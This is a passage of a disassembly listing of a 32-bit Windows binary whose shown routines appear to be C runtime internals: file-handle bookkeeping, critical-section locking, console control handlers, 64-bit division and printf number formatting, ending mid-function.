loc_44C33C:				; CODE XREF: sub_44C2AB+Bj
					; sub_44C2AB+2Cj
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44C34A:				; CODE XREF: sub_44C2AB+8Fj
		pop	ebx
		retn
sub_44C2AB	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_44C35B	proc near		; CODE XREF: sub_44A57B+Cp
					; sub_44A57B+25p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A8C
		jnb	short loc_44C39C
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jz	short loc_44C39C
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	eax, [edx+eax]
		jmp	short loc_44C3AA
; ---------------------------------------------------------------------------


loc_44C39C:				; CODE XREF: sub_44C35B+Bj
					; sub_44C35B+26j
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44C3AA:				; CODE XREF: sub_44C35B+3Fj
		pop	ebx
		retn
sub_44C35B	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	eax
		call	sub_44C35B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	bl, bl
		test	byte ptr [esp+14h], 8
		jz	short loc_44C3DA
		or	bl, 20h


loc_44C3DA:				; CODE XREF: DMN1:0044C3D5j
		test	word ptr [esp+14h], 4000h
		jz	short loc_44C3E6
		or	bl, 80h


loc_44C3E6:				; CODE XREF: DMN1:0044C3E1j
		test	byte ptr [esp+14h], 80h
		jz	short loc_44C3F0
		or	bl, 10h


loc_44C3F0:				; CODE XREF: DMN1:0044C3EBj
		mov	eax, [esp+10h]
		push	eax
		call	dword_411DF0	; GetFileType
		mov	edi, eax
		test	edi, edi
		jnz	short loc_44C413
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_449A3B
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C46C
; ---------------------------------------------------------------------------


loc_44C413:				; CODE XREF: DMN1:0044C3FFj
		cmp	edi, 2
		jnz	short loc_44C41D
		or	bl, 40h
		jmp	short loc_44C425
; ---------------------------------------------------------------------------


loc_44C41D:				; CODE XREF: DMN1:0044C416j
		cmp	edi, 3
		jnz	short loc_44C425
		or	bl, 8


loc_44C425:				; CODE XREF: DMN1:0044C41Bj
					; DMN1:0044C420j
		call	sub_44C0CB
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44C441
		call	sub_449B9B
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C46C
; ---------------------------------------------------------------------------


loc_44C441:				; CODE XREF: DMN1:0044C42Fj
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	sub_44C2AB
		add	esp, 8
		or	bl, 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	[edx+eax+4], bl
		mov	eax, esi


loc_44C46C:				; CODE XREF: DMN1:0044C411j
					; DMN1:0044C43Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44C47B	proc near		; CODE XREF: sub_44A61B+3Ap
					; sub_44C05B+3Cp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	esi, [edx+eax]
		cmp	dword ptr [esi+8], 0
		jnz	short loc_44C4C1
		push	3
		call	sub_449F3B
		pop	ecx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_44C4B9
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		inc	dword ptr [esi+8]


loc_44C4B9:				; CODE XREF: sub_44C47B+2Fj
		push	3
		call	sub_449FBB
		pop	ecx


loc_44C4C1:				; CODE XREF: sub_44C47B+21j
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CD0	; RtlEnterCriticalSection
		pop	esi
		pop	ebx
		retn
sub_44C47B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44C4DB	proc near		; CODE XREF: sub_44A61B+4Ap
					; sub_44C05B+56p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+0Ch]
		push	eax
		call	dword_411CD4	; RtlLeaveCriticalSection
		pop	ebx
		retn
sub_44C4DB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	1
		push	2
		call	sub_44C54B
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_44C526
		test	ebx, ebx
		jnz	short loc_44C52A


loc_44C526:				; CODE XREF: DMN1:0044C520j
		xor	eax, eax
		jmp	short loc_44C545
; ---------------------------------------------------------------------------


loc_44C52A:				; CODE XREF: DMN1:0044C524j
		cmp	ebx, 1
		jz	short loc_44C540
		push	0
		push	2
		call	sub_44C54B
		add	esp, 8
		push	2
		call	ebx
		pop	ecx


loc_44C540:				; CODE XREF: DMN1:0044C52Dj
		mov	eax, 1


loc_44C545:				; CODE XREF: DMN1:0044C528j
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C54B	proc near		; CODE XREF: sub_44A99B+18p
					; sub_44A99B+3Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jle	short loc_44C569
		cmp	ebx, 2Ch
		jge	short loc_44C569
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_44C571


loc_44C569:				; CODE XREF: sub_44C54B+Ej
					; sub_44C54B+13j
		or	eax, 0FFFFFFFFh
		jmp	loc_44C621
; ---------------------------------------------------------------------------


loc_44C571:				; CODE XREF: sub_44C54B+1Cj
		cmp	ebx, 4
		jz	short loc_44C580
		cmp	ebx, 8
		jz	short loc_44C580
		cmp	ebx, 0Bh
		jnz	short loc_44C5DF


loc_44C580:				; CODE XREF: sub_44C54B+29j
					; sub_44C54B+2Ej
		call	sub_44A88B
		mov	[ebp+var_8], eax
		mov	eax, [eax+34h]
		cmp	eax, offset dword_4117E8
		jnz	short loc_44C5C0
		push	0B0h
		call	sub_44999B
		pop	ecx
		mov	edx, [ebp+var_8]
		mov	[edx+34h], eax
		test	eax, eax
		jz	short loc_44C5BB
		mov	eax, [ebp+var_8]
		mov	edi, [eax+34h]
		mov	esi, offset dword_4117E8
		mov	ecx, 2Ch
		rep movsd
		jmp	short loc_44C5C0
; ---------------------------------------------------------------------------


loc_44C5BB:				; CODE XREF: sub_44C54B+5Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C621
; ---------------------------------------------------------------------------


loc_44C5C0:				; CODE XREF: sub_44C54B+45j
					; sub_44C54B+6Ej
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+var_8]
		mov	ecx, [edx+34h]
		mov	ecx, [ecx+eax]
		mov	[ebp+var_4], ecx
		mov	edx, [edx+34h]
		mov	ecx, [ebp+arg_4]
		mov	[edx+eax], ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_44C621
; ---------------------------------------------------------------------------


loc_44C5DF:				; CODE XREF: sub_44C54B+33j
		cmp	ebx, 2
		jnz	short loc_44C60D
		cmp	dword_4118A0, 0
		jnz	short loc_44C60D
		push	1
		push	offset sub_40B0A0
		call	dword_411E14	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_44C603
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C621
; ---------------------------------------------------------------------------


loc_44C603:				; CODE XREF: sub_44C54B+B1j
		mov	dword_4118A0, 1


loc_44C60D:				; CODE XREF: sub_44C54B+97j
					; sub_44C54B+A0j
		lea	eax, ds:4117E8h[ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]


loc_44C621:				; CODE XREF: sub_44C54B+21j
					; sub_44C54B+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44C54B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================



sub_44C62B	proc near		; CODE XREF: DMN1:004492C6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_44C62B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44C63B	proc near		; CODE XREF: DMN1:0044AA87p
					; sub_44C7FB+F3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_4]
		or	eax, eax
		jnz	short loc_44C65D
		mov	ecx, [esp+8+arg_0]
		mov	eax, [esp+8+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_44C69E
; ---------------------------------------------------------------------------


loc_44C65D:				; CODE XREF: sub_44C63B+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		mov	eax, [esp+8+arg_8]


loc_44C66B:				; CODE XREF: sub_44C63B+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_44C66B
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_44C699
		cmp	edx, [esp+8+arg_C]
		ja	short loc_44C699
		jb	short loc_44C69A
		cmp	eax, [esp+8+arg_8]
		jbe	short loc_44C69A


loc_44C699:				; CODE XREF: sub_44C63B+4Ej
					; sub_44C63B+54j
		dec	esi


loc_44C69A:				; CODE XREF: sub_44C63B+56j
					; sub_44C63B+5Cj
		xor	edx, edx
		mov	eax, esi


loc_44C69E:				; CODE XREF: sub_44C63B+20j
		pop	esi
		pop	ebx
		retn	10h
sub_44C63B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C6AB	proc near		; CODE XREF: sub_44B42B+B3p
					; sub_44B42B+6E1p

var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword ptr [ebx+2Ch], 0
		jge	short loc_44C6C9
		mov	[ebp+var_64], 7FFFFFFFh
		jmp	short loc_44C6CF
; ---------------------------------------------------------------------------


loc_44C6C9:				; CODE XREF: sub_44C6AB+13j
		mov	eax, [ebx+2Ch]
		mov	[ebp+var_64], eax


loc_44C6CF:				; CODE XREF: sub_44C6AB+1Cj
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax
		movzx	eax, byte_4118A4
		mov	edx, [ebx+34h]
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		test	word ptr [ebx+38h], 4
		jnz	short loc_44C700
		cmp	[ebp+var_14], 40h
		ja	short loc_44C70F


loc_44C700:				; CODE XREF: sub_44C6AB+4Dj
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], 40h
		jmp	short loc_44C728
; ---------------------------------------------------------------------------


loc_44C70F:				; CODE XREF: sub_44C6AB+53j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_44999B
		pop	ecx
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	short loc_44C728
		or	eax, 0FFFFFFFFh
		jmp	loc_44C7F0
; ---------------------------------------------------------------------------


loc_44C728:				; CODE XREF: sub_44C6AB+62j
					; sub_44C6AB+73j
		test	esi, esi
		jnz	short loc_44C731
		mov	esi, offset aNull ; "(null)"


loc_44C731:				; CODE XREF: sub_44C6AB+7Fj
		mov	[ebp+var_20], 0
		jmp	short loc_44C7B6
; ---------------------------------------------------------------------------


loc_44C73A:				; CODE XREF: sub_44C6AB+10Fj
		lea	eax, [ebp+var_1C]
		push	eax
		movzx	eax, word ptr [esi]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_44D6DB
		add	esp, 0Ch
		mov	edi, eax
		test	eax, eax
		jl	short loc_44C761
		cmp	word ptr [esi],	0
		jnz	short loc_44C767
		dec	edi
		mov	eax, edi
		test	eax, eax
		jge	short loc_44C767


loc_44C761:				; CODE XREF: sub_44C6AB+A7j
		or	[ebp+var_20], 0FFFFFFFFh
		jmp	short loc_44C7C0
; ---------------------------------------------------------------------------


loc_44C767:				; CODE XREF: sub_44C6AB+ADj
					; sub_44C6AB+B4j
		cmp	[ebp+var_4], edi
		jl	short loc_44C7C0
		mov	eax, [ebx+14h]
		add	eax, edi
		cmp	[ebp+var_14], eax
		jnb	short loc_44C791
		mov	dword ptr [ebx+34h], 0
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44BB6B
		add	esp, 8
		mov	dword ptr [ebx+14h], 0


loc_44C791:				; CODE XREF: sub_44C6AB+C9j
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+var_10]
		add	eax, edx
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		add	[ebx+14h], edi
		cmp	word ptr [esi],	0
		jz	short loc_44C7C0
		add	esi, 2
		sub	[ebp+var_4], edi


loc_44C7B6:				; CODE XREF: sub_44C6AB+8Dj
		cmp	[ebp+var_4], 0
		jg	loc_44C73A


loc_44C7C0:				; CODE XREF: sub_44C6AB+BAj
					; sub_44C6AB+BFj ...
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44BB6B
		add	esp, 8
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+14h], 0
		lea	eax, [ebp+var_60]
		cmp	eax, [ebp+var_10]
		jz	short loc_44C7ED
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4488EB
		pop	ecx


loc_44C7ED:				; CODE XREF: sub_44C6AB+136j
		mov	eax, [ebp+var_20]


loc_44C7F0:				; CODE XREF: sub_44C6AB+78j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44C6AB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C7FB	proc near		; CODE XREF: sub_44B42B+256p
					; sub_44B42B+3CAp ...

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 58h
		jnz	short loc_44C813
		mov	[ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
		jmp	short loc_44C81A
; ---------------------------------------------------------------------------


loc_44C813:				; CODE XREF: sub_44C7FB+Dj
		mov	[ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"


loc_44C81A:				; CODE XREF: sub_44C7FB+16j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 6Fh
		jnz	short loc_44C82F
		mov	[ebp+var_38], 8
		jmp	short loc_44C84A
; ---------------------------------------------------------------------------


loc_44C82F:				; CODE XREF: sub_44C7FB+29j
		mov	al, [ebp+arg_4]
		cmp	al, 78h
		jz	short loc_44C843
		cmp	al, 58h
		jz	short loc_44C843
		mov	[ebp+var_38], 0Ah
		jmp	short loc_44C84A
; ---------------------------------------------------------------------------


loc_44C843:				; CODE XREF: sub_44C7FB+39j
					; sub_44C7FB+3Dj
		mov	[ebp+var_38], 10h


loc_44C84A:				; CODE XREF: sub_44C7FB+32j
					; sub_44C7FB+46j
		mov	eax, [ebp+var_38]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 18h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	al, [ebp+arg_4]
		cmp	al, 64h
		jz	short loc_44C870
		cmp	al, 69h
		jnz	short loc_44C895


loc_44C870:				; CODE XREF: sub_44C7FB+6Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_44C895
		jl	short loc_44C882
		test	eax, eax
		jnb	short loc_44C895


loc_44C882:				; CODE XREF: sub_44C7FB+81j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_44C895:				; CODE XREF: sub_44C7FB+73j
					; sub_44C7FB+7Fj ...
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_44C8AC
		test	eax, eax
		jnz	short loc_44C8AC
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jz	short loc_44C8DC


loc_44C8AC:				; CODE XREF: sub_44C7FB+A2j
					; sub_44C7FB+A6j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_3C], eax
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_30]
		mov	ebx, [ebp+var_2C]
		mov	edx, [ebp+var_8]
		mov	esi, edx
		mov	edi, esi
		sar	edi, 1Fh
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_44D92B
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx+var_20], al


loc_44C8DC:				; CODE XREF: sub_44C7FB+AFj
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_44C63B
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	[ecx+4], edx
		jmp	short loc_44C96D
; ---------------------------------------------------------------------------


loc_44C8FD:				; CODE XREF: sub_44C7FB+188j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_44D9AB
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4C], eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	esi, [ebp+var_48]
		mov	edi, [ebp+var_44]
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_44DA5B
		neg	eax
		adc	edx, 0
		neg	edx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+4]
		mov	ecx, [ecx]
		add	eax, ecx
		adc	edx, ebx
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_20], al
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	ebx, [ebp+var_44]
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44C96D:				; CODE XREF: sub_44C7FB+100j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jl	short loc_44C989
		jg	short loc_44C97F
		test	eax, eax
		jbe	short loc_44C989


loc_44C97F:				; CODE XREF: sub_44C7FB+17Ej
		cmp	[ebp+var_4], 0
		jg	loc_44C8FD


loc_44C989:				; CODE XREF: sub_44C7FB+17Cj
					; sub_44C7FB+182j
		cmp	[ebp+var_8], 8
		jnz	short loc_44C9B5
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_44C9B5
		mov	eax, [ebp+var_4]
		cmp	eax, 18h
		jnb	short loc_44C9B5
		cmp	[ebp+eax+var_20], 30h
		jz	short loc_44C9B5
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	[ebp+eax+var_20], 30h


loc_44C9B5:				; CODE XREF: sub_44C7FB+192j
					; sub_44C7FB+19Dj ...
		mov	edx, [ebp+arg_0]
		mov	eax, 18h
		mov	ecx, [ebp+var_4]
		sub	eax, ecx
		mov	[edx+1Ch], eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		push	edx
		mov	edx, [ebp+var_4]
		lea	edx, [ebp+edx+var_20]
		push	edx
		mov	eax, [eax+10h]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		cmp	[eax+1Ch], edx
		jge	short loc_44CA01
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		sub	edx, [eax+1Ch]
		mov	[eax+18h], edx
		mov	eax, [ebp+arg_0]
		and	word ptr [eax+38h], 0FFEFh
		jmp	short loc_44CA32
; ---------------------------------------------------------------------------


loc_44CA01:				; CODE XREF: sub_44C7FB+1EEj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44CA32
		movzx	edx, word ptr [eax+38h]
		and	edx, 14h
		cmp	edx, 10h
		jnz	short loc_44CA32
		mov	edx, [eax+34h]
		sub	edx, [eax+14h]
		sub	edx, [eax+18h]
		sub	edx, [eax+1Ch]
		mov	[ebp+var_4], edx
		test	edx, edx
		jle	short loc_44CA32
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax


loc_44CA32:				; CODE XREF: sub_44C7FB+204j
					; sub_44C7FB+20Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44C7FB	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================



sub_44CA3B	proc near		; CODE XREF: sub_44B42B+40Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_44DA9B
		pop	ecx
		movsx	eax, ax
		retn
sub_44CA3B	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CA4B	proc near		; CODE XREF: sub_44B42B+48Cp

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= qword	ptr -58h
var_50		= qword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		lea	eax, [ebp+var_3E]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_10]
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44CA6A
		cmp	al, 41h
		jnz	short loc_44CA6C


loc_44CA6A:				; CODE XREF: sub_44CA4B+19j
		jmp	short loc_44CA9F
; ---------------------------------------------------------------------------


loc_44CA6C:				; CODE XREF: sub_44CA4B+1Dj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44CA81
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 6
		jmp	short loc_44CA9F
; ---------------------------------------------------------------------------


loc_44CA81:				; CODE XREF: sub_44CA4B+28j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jnz	short loc_44CA9F
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44CA95
		cmp	al, 47h
		jnz	short loc_44CA9F


loc_44CA95:				; CODE XREF: sub_44CA4B+44j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 1


loc_44CA9F:				; CODE XREF: sub_44CA4B:loc_44CA6Aj
					; sub_44CA4B+34j ...
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_44DB0B
		add	esp, 8
		mov	[ebp+var_16], ax
		cmp	ax, 2
		jnz	short loc_44CB04
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44CADC
		cmp	al, 65h
		jz	short loc_44CADC
		cmp	al, 66h
		jz	short loc_44CADC
		cmp	al, 67h
		jnz	short loc_44CAE5


loc_44CADC:				; CODE XREF: sub_44CA4B+83j
					; sub_44CA4B+87j ...
		mov	[ebp+var_44], 41010Ah
		jmp	short loc_44CAEC
; ---------------------------------------------------------------------------


loc_44CAE5:				; CODE XREF: sub_44CA4B+8Fj
		mov	[ebp+var_44], offset word_410106


loc_44CAEC:				; CODE XREF: sub_44CA4B+98j
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		jmp	loc_44D09F
; ---------------------------------------------------------------------------


loc_44CB04:				; CODE XREF: sub_44CA4B+6Cj
		cmp	[ebp+var_16], 0
		jle	short loc_44CB56
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44CB2E
		cmp	al, 65h
		jz	short loc_44CB2E
		cmp	al, 66h
		jz	short loc_44CB2E
		cmp	al, 67h
		jnz	short loc_44CB37


loc_44CB2E:				; CODE XREF: sub_44CA4B+D5j
					; sub_44CA4B+D9j ...
		mov	[ebp+var_44], offset word_410102
		jmp	short loc_44CB3E
; ---------------------------------------------------------------------------


loc_44CB37:				; CODE XREF: sub_44CA4B+E1j
		mov	[ebp+var_44], offset off_4100FE


loc_44CB3E:				; CODE XREF: sub_44CA4B+EAj
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		jmp	loc_44D09F
; ---------------------------------------------------------------------------


loc_44CB56:				; CODE XREF: sub_44CA4B+BEj
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44CB61
		cmp	al, 41h
		jnz	short loc_44CB99


loc_44CB61:				; CODE XREF: sub_44CA4B+110j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 61h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 58h
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		add	dword ptr [eax+14h], 2


loc_44CB99:				; CODE XREF: sub_44CA4B+114j
		cmp	[ebp+var_16], 0
		jnz	short loc_44CBB1
		mov	[ebp+var_12], 0
		mov	[ebp+var_14], 0
		jmp	loc_44D080
; ---------------------------------------------------------------------------


loc_44CBB1:				; CODE XREF: sub_44CA4B+153j
		mov	al, [ebp+arg_4]
